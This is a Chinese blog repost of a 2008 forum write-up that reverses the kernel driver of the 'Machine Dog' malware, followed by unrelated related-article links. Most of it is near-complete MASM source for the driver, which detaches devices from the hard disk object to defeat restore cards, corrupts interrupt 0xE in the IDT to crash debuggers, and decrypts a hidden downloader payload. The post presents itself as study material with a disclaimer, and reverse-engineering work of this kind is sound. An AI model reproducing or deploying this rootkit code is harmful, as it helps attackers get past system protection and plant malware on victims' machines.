RootKit hook 之[一] object hook

用户态rootkit之inline hook 前言Rootkit是我从大一就听说过的技术,不过那个时候几乎是0基础,也完全不懂这是个什么玩意儿,其实到现在我也不懂rootkit是如何修改内核层和隐藏自己的,不过最近在学习用户态的rootkit,倒是了解了一番,做个笔记。 用户态Rootkit的种类首先我了解的用户态的rootkit是分为两种,一种是IAT hook,还有一种就是inline hook。解释一下,rootkit不同于其他恶意代码... 阅读详情
作 者: combojiang
时 间: 2008-01-08,11:43
链 接: http://bbs.pediy.com/showthread.php?t=57900

今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook.

这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。希望大家不要将代码用于他途。

对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。。。。。。

信息隐藏亮点之一: 将rootkit作为资源隐藏于用户模式程序之中
            亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
           亮点之三:用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
                         然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY。
                         利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
                        下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
                        还要把痕迹擦得一干二净。
          亮点之四:修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
                        反调试的功能。

这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。

突破还原卡原理:在这里他使用的就是object hook大法。

1。IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“//Device//Harddisk0//DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。

2。IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。

分析了这么多,我们来看逆向的代码:
.386
.model flat, stdcall
option casemap:none

include pcihdd.inc

.data
  aDevicePhysical  db '/Device/PhysicalHardDisk0',0
  aDosdevicesPhys  db '/DosDevices/PhysicalHardDisk0',0
  SourceString db  '/Device/Harddisk0/DR0',0
  g_DeviceObject dd  0
  g_AttachedDevice dd  0
  DecodeKey dd  1024 dup (0)
  DecodeKEY dd  0
  P dd 0
  NumberOfBytes dd 0
  IDTData db 6 dup(0)
  Format db '%08X',0

.code

;*******************************************************************************
; 产生一个解密密钥数组
;*******************************************************************************
CreateDecodeKey proc
  jmp  short $+2 ;花指令
  mov  ecx, 100h
  mov  edx, 0CCECC9B1h  ;KEY
  
OutLoop:
  lea  eax, [ecx-1] 
  push  ecx
  mov  ecx, 8
  
InLoop:
  shr  eax, 1 
  jnb  ContinueLoop
  xor  eax, edx
  
ContinueLoop:
  dec  ecx
  jnz  InLoop
  pop  ecx
  mov  DecodeKey[ecx*4], eax ;保存解密密钥数组
  dec  ecx
  jnz  OutLoop
  retn
CreateDecodeKey endp

;*****************************************************************************
; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,该
; 解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(看start)
;*****************************************************************************
DecodeInputData proc  near
  jmp  short $+2 ;花指令
  mov  eax, 0FFFFFFFFh
  or  ebx, ebx   ;判断IRP.AssociatedIrp.SystemBuffer是否为空
  jz  Quit
  
@@:
  mov  dl, [ebx]
  xor  dl, al
  movzx  edx, dl
  shr  eax, 8
  xor  eax, DecodeKey[edx*4]
  inc  ebx
  dec  ecx
  jnz  @B
  
Quit:
  not  eax
  retn
DecodeInputData endp



;************************************************************************
; 在第三级资源中取出资源信息,成功后,返回取出的资源长度
;************************************************************************

SearchResourceByIDInThirdLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
  LOCAL RetValue:dword  
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch];以名称命名的入口数量
  add  cx, [esi+0Eh];以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  
  cmp  ecx, 0
  jbe  Quit
  mov  ebx, [esi+4] ;offsetToData目录项指针
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;ebx指向IMAGE_RESOURCE_DATA_ENTRY结构
  mov  eax, [ebx]  ;取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
  add  eax, PEHeader
  mov  ecx, pOutValue ;pOutValue指向资源数据的地址
  mov  [ecx], eax
  mov  ecx, [ebx+4]
  mov  RetValue, ecx ;返回资源数据的长度
  
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInThirdLayer endp



;************************************************************************
; 在第二级资源中查找ID为ChildResID的资源项
;************************************************************************
SearchResourceByIDInSecondLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
  
  LOCAL RetValue:dword
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch] ;以名称命名的入口数量
  add  cx, [esi+0Eh] ;以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h      ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchChildDirectoryEntry
  
ContinueSearchChildDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4] ;offsetToData目录项指针
  test  ebx, 80000000h
  jz  JumpOver ;; 如果最高31位为0,则跳过,继续读下一条目录项
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;否则取下一层地址
  mov  edx, [esi] ;取目录项字符串指针或者ID
  test  edx, 80000000h
  jnz  JumpOver  ;如果31位为1的话,[esi]低位代表字符串指针
  cmp  edx, ChildResID
  jnz  JumpOver
  push  pOutValue
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInThirdLayer
  mov  RetValue, eax
  or  eax, eax
  jz  JumpOver
  pop  ecx
  jmp  Quit
  
JumpOver:
  add  esi, 8
  pop  ecx
  dec  ecx
  
StartSearchChildDirectoryEntry:
  cmp  ecx, 0
  ja  ContinueSearchChildDirectoryEntry
  
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInSecondLayer endp



;******************************************************************************************
; 在第一级资源中搜索ID为RESOURCEID的资源
;******************************************************************************************

SearchResourceByIDInFirstLayer proc  PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
    LOCAL retvalue:dword 
  LOCAL ResourceAddr:dword
  
  pusha
  xor  eax, eax
  mov  retvalue, eax
  mov  edi, PEHeader
  mov  edi, [edi+3Ch]
  add  edi, PEHeader
  mov  ecx, [edi+8Ch] ;资源表大小
  or  ecx, ecx
  jz  QUIT
  mov  eax, [edi+88h] ;资源表RVA
  add  eax, PEHeader
  mov  ResourceAddr, eax
  push  eax    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jnz  @F
  jmp  QUIT
  
@@:
  mov  esi, ResourceAddr
  mov  cx, [esi+0Ch];以名称命名的入口数量
  add  cx, [esi+0Eh];以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h     ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchDirectoryEntry
  
ContinueSearchDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4]  ;offsetToData目录项指针
  test  ebx, 80000000h
  jz  JumpOver ; 如果最高31位为0,则跳过,继续读下一条目录项
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;保存下一层地址
  mov  eax, [esi];取目录项字符串指针或者ID
  test  eax, 80000000h
  jnz   JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
  cmp  eax, RESOURCEID
  jnz  JumpOver
  push  pOutValue ;找到匹配的资源ID
  push  ChildResID
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInSecondLayer
  mov  retvalue, eax
  pop  ecx
  jmp  QUIT
  
JumpOver:
  add  esi, 8 ;继续读下一条目录项
  pop  ecx
  dec  ecx
  
StartSearchDirectoryEntry:
  cmp  ecx, 0 ;判断目录块是否遍历完毕
  ja  ContinueSearchDirectoryEntry 
  
QUIT:
  popa
  mov  eax, retvalue
  retn
SearchResourceByIDInFirstLayer endp



; ************************************************************************
;  获取当前驱动文件的内存加载位置,如果没找到,返回0
;*************************************************************************

GetPeHeader proc  near

  LOCAL PEStart:dword
  pusha
  mov  PEStart, 0
  
CURRENT_EIP:
  lea  ebx, CURRENT_EIP
  and  ebx, 0FFFFFC00h ; 将低10位清零
  
CHECKPEHEADER:    ; VirtualAddress
  push  ebx
  call  MmIsAddressValid  ;判断当前地址是否有效
  or  eax, eax              
  jz  QUIT           ;不成功则跳转退出
  cmp  ebx, 80000000h ;如果当前的eip小于等于80000000h,则退出
  jbe  QUIT
  cmp  word ptr [ebx],  5A4Dh ; 'MZ'
  jnz  SEARCHDOSHEADER
  mov  edi, ebx
  add  edi, [ebx+3Ch]
  push  edi    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jz  SEARCHPEHEADER
  cmp  word ptr [edi],  4550h ;'PE'
  jnz  SEARCHPEHEADER
  mov  PEStart, ebx
  jmp  QUIT
  
SEARCHPEHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
  jmp  QUIT
  
SEARCHDOSHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
  
QUIT:
  popa
  mov  eax, PEStart
  retn
GetPeHeader endp



; ***************************************************************************
; 检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
; 偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
; 与9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。否则设置E号中断
; 描述符的偏移地址高16位为0.使其指向一个错误的地址。破坏该中断的功能。
; 由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
; 因此这是作者设置的反调式陷阱。
;****************************************************************************

AntiDebug proc  near
  LOCAL nTemp:dword
  pusha
  sidt  fword ptr IDTData         
  mov  esi, dword ptr IDTData+2  ;取基地址
  mov  eax, 9                    ;index = 9, #interrupt 09
  shl  eax, 3                    ;每个描述符占8字节
  add  esi, eax                  ;esi指向9号描述符            
  movzx  eax, word ptr [esi+6]     ;取中断函数高16位偏移地址
  shl  eax, 10h
  mov  ax, [esi]                 ;取中断函数低16位偏移地址
  and  eax, 0FF000000h           ;取偏移地址的一个高字节
  mov  nTemp, eax
  test  eax, eax
  jz  QUIT
  mov  esi, dword ptr IDTData+2 ;取基地址
  mov  eax, 0Eh                 ;index = E, #interrupt 0E
  shl  eax, 3                   ;每个描述符占8字节
  add  esi, eax                 ;esi指向E号描述符   
  movzx  eax, word ptr [esi+6]    ;取中断函数高16位偏移地址
  shl  eax, 10h
  mov  ax, [esi]                ;取中断函数低16位偏移地址
  and  eax, 0FF000000h          ;取偏移地址的一个高字节
  cmp  eax, nTemp               ;比较这两个中断描述符中的偏移地址高位字节
  jz  QUIT
  mov  word ptr [esi+6], 0   ;改中断门偏移地址,设置高16位为0
  
QUIT:
  popa
  retn
AntiDebug endp


;************************************************************************************
;  处理IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE请求
;  IRP_MJ_CREATE例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
;  调用IoGetDeviceObjectPointer函数得到设备名“//Device//Harddisk0//DR0”的设备对象。
;  IRP_MJ_CLOSE 中对恢复DR0上的附加
;  IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
;  把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
;  解密后的内容返给用户程序。
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword

  LOCAL ObjectName:UNICODE_STRING
  LOCAL DestinationString:OEM_STRING
  LOCAL FileObject:dword
  LOCAL DeviceObject:dword
  
  push  edi
  push  esi
  push  ebx
  mov  edi, pIrp
  mov  dword ptr [edi+1Ch], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
  mov  dword ptr [edi+18h], 0
  
  mov  esi, [edi+60h] ;取IRP.CurrentStackLocation
  movzx  eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
  or  eax, eax
  jnz  IRPMJCLOSE
  jmp  short $+2          ;花指令
  
  ;IRP_MJ_CREATE请求,IRP_MJ_CREATE中会断开/Device/Harddisk0/DR0上附加的设备.
  push  offset SourceString ; "//Device//Harddisk0//DR0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, ObjectName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  xor  eax, eax
  mov  FileObject, eax
  mov  DeviceObject, eax
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  lea  eax, FileObject
  push  eax    ; FileObject
  push  80h    ; DesiredAccess
  lea  eax, ObjectName
  push  eax    ; ObjectName
  call  IoGetDeviceObjectPointer
  mov  eax, FileObject
  jmp  short $+2 ;花指令
  mov  eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
  mov  g_DeviceObject, eax
  cmp  dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
  jz  ClearAttachedDevice
  jmp  short $+2 ;花指令
  mov  ecx, [eax+10h]
  xchg  ecx, g_AttachedDevice
  mov  [eax+10h], ecx
  
ClearAttachedDevice:
  push  FileObject
  call  ObDereferenceObject
  lea  eax, ObjectName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  jmp  Quit
  
IRPMJCLOSE:
  cmp  eax, 2
  jnz  IRPMJDEVICECONTROL
  mov  eax, g_DeviceObject
  or  eax, eax
  jz  Quit
  mov  ecx, g_AttachedDevice
  or  ecx, ecx
  jz  NoAttachedDevice
  mov  [eax+10h], ecx
  
NoAttachedDevice:
  jmp  Quit
  
IRPMJDEVICECONTROL:
  cmp  eax, 0Eh
  jnz  Quit
  mov  eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
  cmp  eax, 0F0003C04h ;判断是否是应用端传进的ctlcode码
  jnz  Quit
  call  CreateDecodeKey
  mov  ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  call  DecodeInputData
  mov  DecodeKEY, eax
  push  DecodeKEY
  push  offset Format  ; "%08X"
  call  DbgPrint
  add  esp, 8
  mov  eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
  cmp  eax, NumberOfBytes
  jbe  Quit
  
  mov  edi, [edi+3Ch];IRP.UserBuffer
  mov  esi, P
  mov  ecx, NumberOfBytes
  shr  ecx, 2
  
DecodeResource:  ;将资源内容解密输出,反馈给用户
  lodsd
  xor  eax, DecodeKEY
  stosd
  dec  ecx
  jnz  DecodeResource
  mov  ecx, NumberOfBytes
  and  ecx, 3
  rep movsb
  
Quit:
  push  0
  push  pIrp
  call  IoCompleteRequest
  mov  eax, 0
  pop  ebx
  pop  esi
  pop  edi
  retn
DispatchFunction endp


;******************************************************************
; UnLoad例程
;******************************************************************
PCIHDDUnload proc pDriverObject :dword

  LOCAL DestinationString:OEM_STRING
  LOCAL SymbolicLinkName:UNICODE_STRING
  
  push  edi
  push  esi
  push  ebx
  pusha
  cmp  P, 0
  jz  CONTINUE
  push  P    ; P
  call  ExFreePool ;释放内存
  
CONTINUE:
  cmp  pDriverObject, 0  
  jz  QUIT
  push  offset aDosdevicesPhys ; "//DosDevices//PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  mov  edi, pDriverObject
  mov  esi, [edi+4]   ;DeviceObject
  jmp  IsDeviceExist
  
DELETEDEVICE:
  mov  edi, [esi+0Ch];DriverObject
  push  esi    ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
  
IsDeviceExist:
  or  esi, esi
  jnz  DELETEDEVICE
  
QUIT:
  popa
  pop  ebx
  pop  esi
  pop  edi
  retn
PCIHDDUnload endp



; **********************************************************************
; 这里是驱动程序的入口处
; **********************************************************************
public start
start proc near

  LOCAL nTemp:dword
  LOCAL DestinationString:OEM_STRING
  LOCAL DeviceObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DeviceName:UNICODE_STRING
  LOCAL DriverObject:dword
  
  push  edi
  push  esi
  push  ebx
  pusha
  nop
  nop
  call  AntiDebug ;反调试
  call  GetPeHeader
  or  eax, eax
  jz  QUIT ;没找到当前驱动内存加载位置
  mov  ecx, eax
  lea  eax, nTemp
  push  eax
  push  3E8h
  push  3E8h
  push  ecx
  call  SearchResourceByIDInFirstLayer
  or  eax, eax
  jz  QUIT
  mov  NumberOfBytes, eax
  push  NumberOfBytes  ; NumberOfBytes
  push  0    ; PoolType
  call  ExAllocatePool ;根据资源长度申请内存
  mov  P, eax
  jmp  short $+2 ;花指令
  mov  edi, P
  mov  esi, nTemp
  mov  ecx, NumberOfBytes
  rep movsb   ;将资源拷贝到缓冲区
  jmp   ContinueWork
  
QUIT:
  popa
  xor  eax, eax
  dec  eax
  pop  ebx
  pop  esi
  pop  edi
  retn
  
ContinueWork:
  jmp  short $+2 ;花指令
  mov  eax, DriverObject
  mov  dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
  lea  edi, [eax+38h]    ;edi指向MajorFunction
  lea  eax, DispatchFunction
  mov  [edi], eax     ;IRP_MJ_CREATE          EQU    0
  mov  [edi+8], eax   ;IRP_MJ_CLOSE          equ   2
  mov  [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL  equ   0Eh  见ntddk.inc
  
  push  offset aDevicePhysical ; "//Device//PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, DeviceName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  push  offset aDosdevicesPhys ; "//DosDevices//PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  15h    ; DeviceType
  lea  eax, DeviceName
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  DriverObject; DriverObject
  call  IoCreateDevice ;创建设备
  or  eax, eax
  jz  CreateDeviceSucess
  jmp   Quit
  
CreateDeviceSucess:
  lea  eax, DeviceName
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink ;创建符号链接
  or  eax, eax
  jz  Quit
  mov  edi, DriverObject
  mov  esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
  jmp  StartCycle
  
ContinueDeleteDevice:
  mov  edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
  push  esi         ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
  
StartCycle:
  or  esi, esi
  jnz  ContinueDeleteDevice
  jmp  short $+2 ;花指令 ,执行退出指令
  
Quit:
  lea  eax, DeviceName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  popa
  xor  eax, eax
  pop  ebx
  pop  esi
  pop  edi
  retn
start endp

end start


声明:本贴仅用于学习用途,转贴须声明来自看雪。
bare-objects:Object.create(null) 通过节点模块钩子的速记符号 裸对象 Object.create(null) 通过节点模块钩子的速记符号 裸对象安装一个 Node 加载器钩子,它转换每个加载的 JavaScript 文件并将<>语法扩展为Object.create(null) var foo = < > ; foo.bar = 'bar'; // use just like normal objects 因为裸对象不继承自 Object,所以没有像 { } + { } // NaN var foo = < > ; foo + foo // TypeError: Cannot convert object to primitive value 为什么? 小字 作者:Gleb Bahmutov :copyright: 2014 许可证: - 对代码做任何事情,但如果它不起作用,请不要怪我。 支持:如果您发现此模块有任何问题,请在 Github 上发 立即下载

相关推荐

STM32F4三重ADC+DMA双缓冲实战:用CubeMX搞定同步采样,告别数据覆盖烦恼

本文详细介绍了STM32F4三重ADC与DMA双缓冲技术的实战应用,通过CubeMX配置实现同步采样,解决数据覆盖问题。内容涵盖硬件架构解析、CubeMX工程配置、双缓冲实现技巧及调试优化方法,适用于电机控制、电力监测等需要高精度多通道信号采集的场景。

weixin_30627341的博客 357

objectHook简单介绍

标 题: 【原创】objectHook简单介绍 作 者: ggdd 时 间: 2011-01-15,13:13:20 链 接: http://bbs.pediy.com/showthread.php?t=128161 其实这东西很多大牛多玩腻了的东西,看下论坛上比较少这类的,就来献献丑,科普一下 大牛们直接 可以飘过,这东西主要是自我复习一下OBJECT的一些知识,技术这东西久了不弄

o330820350的专栏 1221

Cursor AI编程工具保姆级安装指南:从下载到中文界面设置(含免费额度说明)

本文提供Cursor AI编程工具的保姆级安装与设置教程。详细指导从官网下载、安装到中文界面切换的每一步,并重点说明其每月500次高级模型调用的免费额度策略。通过个性化设置与核心插件推荐,帮助开发者快速上手,提升AI辅助编程效率。

weixin_29191761的博客 671

SSDT Hook 还原 (恢复)

网上其实有很多介绍ssdt还原的文章,看起来也确实是一个很简单,套用一句网友的话,就是菜B才用的技术。但我着实也费了一番工夫,也可能真是我自己的理解能力太差。一个人搞了两三天才弄出来,其实真的很简单,只是有些文章说得很含糊。 下面我说几个要点: 1. ssdt已存在于原始pe文件中。(具体是ntoskrnl.exe、ntkrnlpa.exe、ntkrnlmp.exe、ntkrpa...

weixin_30938149的博客 288

App爬虫实战篇-以华为真机手机爬取集换社的app为例

在开始学习这篇文章之前,建议你先按照之前2篇文章(和),配置必要的环境,才可以继续完成本章节内容。

youbingchen的博客 780

基金估值核算系统三国杀:恒生 VS 赢时胜 VS 融选!

本文对比分析了恒生电子、赢时胜和融选科技三家金融科技公司的基金估值系统。恒生电子作为行业龙头,在公募基金领域占据较大份额,其新一代估值系统6.0采用微服务架构,自动化程度高;赢时胜在中型公募和券商资管领域优势明显,其V5.5系统在信创适配和复杂产品处理方面表现突出;融选科技作为新兴厂商,提供轻量化解决方案,适合中小型机构。文章从市场格局、系统定位、技术架构、成本构成和用户反馈五个维度进行深入比较,为金融机构选型提供参考。当前估值系统市场呈现"三国鼎立"格局,各具特色,选型需结合机构规模、

magbox520的博客 825

ObjectC Hook函数的实现与实战

一、简介在一个类没有实现源码的情况下,如果你要改变一个类的实现方法,你可以选择重继承该类,然后重写方法,或者使用Category类别名暴力抢先的方式。但是这两种方式,都需要我们在使用的时候改变我们的编程方式,或者继承该类,或者需要引入Category。下面推出的一种方式,不需要我们修改我们编写逻辑的代码,就能实现函数的Hook功能,那就是RunTime中的Method Swizzling—交换方法的

yixiangboy的博客 3943

基于Simulink的电机功率因数校正仿真

PF=SP​=视在功率有功功率​=cosϕ⋅Irms​I1​​(非正弦时)位移因数(cosϕ):基波电压电流相位差畸变因数(I1​/Irms​):谐波导致电流有效值增大本文带你完成了电机系统功率因数校正的Simulink仿真,实现了:✅ 理解了低功率因数的成因与危害✅ 搭建了无PFC、无源PFC、有源PFC三种对比模型✅ 掌握了Vienna整流器建模与dq解耦控制方法✅ 实现了PF与THD的自动计算与评估✅ 验证了有源PFC在PF、THD、稳定性上的全面优势。

amy_mhd的博客 154

驱动还原:恢复SSDT内核钩子(2)

SSDT 中文名称为系统服务描述符表,该表的作用是将Ring3应用层与Ring0内核层,两者的API函数连接起来,起到承上启下的作用,SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基址、服务函数个数等,SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行内核级的Hook,从而实现对一些核心的系统动作进行过滤、监控的目的。 通过前面...

weixin_30790841的博客 1279

恒玄BES调试笔记-BES2500如何Dump Anc Audio数据

从YP的4M flash改HP3的2M flash只需要改: 原工程:target.mk的export FLASH_SIZE ?= 0x200000和common.mk里的KBUILD_CPPFLAGS += -DNEW_IMAGE_FLASH_OFFSET=0x100000 OTA工程:target.mk的NEW_IMAGE_FLASH_OFFSET ?= 0x100000和FLASH_SIZE ?= 0x200000 ...

leezs的博客 1672

【WRF-Urban】使用 NUDAPT 数据集与 BEP/BEP_BEM 方案的 WRF 配置指南

【WRF-Urban】使用 NUDAPT 数据集与 BEP/BEP_BEM 方案的 WRF 配置指南

WW、forever的博客 1964

驱动保护进程 句柄降权 杀软自保 游戏破图标技术原理和实现

驱动保护进程 句柄降权 杀软自保 游戏破图标技术原理和实现

鬼手的博客 1万+

基于STM32的设计智慧超市管理系统(带收银系统+物联网环境监测)_167

本系统主要由超市环境监测部分和商品管理部分组成。环境监测部分主控芯片采用STM32F103C8T6,主要包括温湿度传感器、烟雾传感器和空调制热开关、空调制冷开关,采集的数据通过ESP8266模块+MQTT协议上传至OneNet云平台,在OneNet云平台设计手机和电脑版本可视化页面,能够在页面上查看超市的环境信息,还能在页面上手动打开空调制热开关和空调制冷开关。商品管理部分主要由RC522-RFID读卡器、上位机组成,实现商品选购、结算、顾客的VIP会员卡注册管理等功能。

6068

【原创】RootKit hook 之[一] object hook

标 题: 【原创】RootKit hook 之[一] object hook 作 者: combojiang 时 间: 2008-01-08,11:43:31 链 接: http://bbs.pediy.com/showthread.php?t=57900 今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook. 这

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 691

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

RootKit hook之[一] Object Hook

标 题: 【转】objectHook简单介绍 作 者: ggdd 时 间: 2011-01-15,13:13:20 链 接: http://bbs.pediy.com/showthread.php?t=128161 其实这东西很多大牛多玩腻了的东西,看下论坛上比较少这类的,就来献献丑,科普一下 大牛们直接 可以飘过,这东西主要是自我复习一下OBJECT的一些知识,技术这东西久了不

ccx_john的专栏 726

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

RootKit 应用之[一] object hook

标 题: RootKit 应用之[一] object hook作 者: combojiang时 间: 2008-01-08,11:43链 接: http://bbs.pediy.com/showthread.php?t=57900今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是objecthook.这篇文章来源于前段时间我逆向的机器狗代码,前段时间...

weixin_30904593的博客 219

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

基于CallStack的反Rootkit HOOK检测

Anti-Rootkit目前扫描Hook的方法主要有以下几种:   1.对抗inline -hook ,IAT/EAT Hook   Anti-Rootkit使用读取磁盘上系统文件并将之进行map\重定位后,同内存中的代码进行对比的方法来检测inline hook(或EAT/IAT HOOK,后同),类似的工具例如Rootkit Unhooker, gmer, Icesword等等。

1553

基于CallStack的Anti-Rootkit HOOK检测思路

基于CallStack的Anti-Rootkit HOOK检测思路:MJ00112007-11-2th_decoder@126.comAnti-Rootkit目前扫描Hook的方法主要有以下几种:1.对抗inline -hook ,IAT/EAT HookAnti-Rootkit使用读取磁盘上系统文件并将之进行map/重定位后,同内存中的代码进行对比的方法来检测inline hook(或EAT/I

1730

[内核安全3]内核态Rootkit之Object Hook

